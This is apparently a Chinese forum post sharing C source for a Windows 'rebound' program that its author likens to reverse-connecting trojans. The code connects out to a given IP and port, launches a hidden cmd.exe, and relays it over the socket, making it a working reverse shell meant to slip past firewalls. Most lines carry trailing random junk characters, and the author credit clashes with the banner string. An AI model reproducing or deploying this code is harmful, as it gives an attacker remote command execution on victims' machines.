这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .@4Q kG/
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/* ============================== RmcYaj^=
Rebound port in Windows NT 0Ei\VVK>
By wind,2006/7 #&;m<%
===============================*/ N;e;4,_ n
#include 7~nIaT
#include 0*37D5jH
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#pragma comment(lib,"wsock32.lib") &gY;`*<
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void OutputShell(); zfk'>_'
SOCKET sClient; ~+sne7
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; oc!biE`u
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void main(int argc,char **argv) .q
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{ .t"n]X i
WSADATA stWsaData; >l7eoj
int nRet; $xKg }cO
SOCKADDR_IN stSaiClient,stSaiServer; \9dz&H
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if(argc != 3) .d<~a1k
{ wJ;9),fL
printf("Useage:\n\rRebound DestIP DestPort\n"); J`U$b+q6
return; ,\.YJD>z
} E#yCcC!wMY
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WSAStartup(MAKEWORD(2,2),&stWsaData); [V!^\g\6
Ws2prh^e(
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); { Hktu|
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stSaiClient.sin_family = AF_INET; 6Y0/i,d*
stSaiClient.sin_port = htons(0); @ef//G+Z"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |NphG|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O+CF/ipX/
{ Bbn832iMUY
printf("Bind Socket Failed!\n"); V Z4nAG
return; mafAC73
} C=xo&I7
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stSaiServer.sin_family = AF_INET; VZ9e~){xA
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !?tu!
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $i1>?pb3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z/c'Z#w%
{ Y{x[N}h
printf("Connect Error!"); {,nd_3"Vq
return; |THkS@Br
} g7E`;&f
OutputShell(); ONg<
} mvW^P`nB
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void OutputShell() UgOGBj,&5W
{ ,d/CU
char szBuff[1024]; 8EW`*+%=
SECURITY_ATTRIBUTES stSecurityAttributes; ~|$) 1
OSVERSIONINFO stOsversionInfo; \kua9bK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s5_1}KKCs
STARTUPINFO stStartupInfo; !VJT"Ds_
char *szShell; g/n"N>L
PROCESS_INFORMATION stProcessInformation; S[\cT:{OE
unsigned long lBytesRead; 8ESkG
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Q@3ld6y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _zVbqRHlw
stSecurityAttributes.lpSecurityDescriptor = 0; LiHXWi{s
stSecurityAttributes.bInheritHandle = TRUE; r`mzsO-'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J\Oc]gi\L
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L@^!(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A7I8Z6&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b{yH4)O
stStartupInfo.wShowWindow = SW_HIDE; p!rGPyGC
stStartupInfo.hStdInput = hReadPipe; >E2WZHzd2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u:{.
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GetVersionEx(&stOsversionInfo); !Cv<>_N).
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switch(stOsversionInfo.dwPlatformId) Cbf,X[u
{ :">~(Rd ZH
case 1: s]V{}bY`
szShell = "command.com"; G%W03c
break; v~W6yjp
default: <iY 9cV|}3
szShell = "cmd.exe"; c+\Gd}IJq
break; QKL]O*
} QVA!z##
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 37<GG)
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send(sClient,szMsg,77,0); (t]R#2{
while(1) '
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{ u0$5Fd&X
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Hf E;$
if(lBytesRead) ;*85'WcS
{ =fu_ Jau}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k%bTs+]*
send(sClient,szBuff,lBytesRead,0); (HP={MrV
} vr]dRStr
else 2[bR6 T89
{ :;gwdZ
lBytesRead=recv(sClient,szBuff,1024,0); 5D q{"@E
if(lBytesRead<=0) break; r0XGGLFuZl
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} B1AF4}~5
} l<+,(E=
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return; :Q%yW%St$
}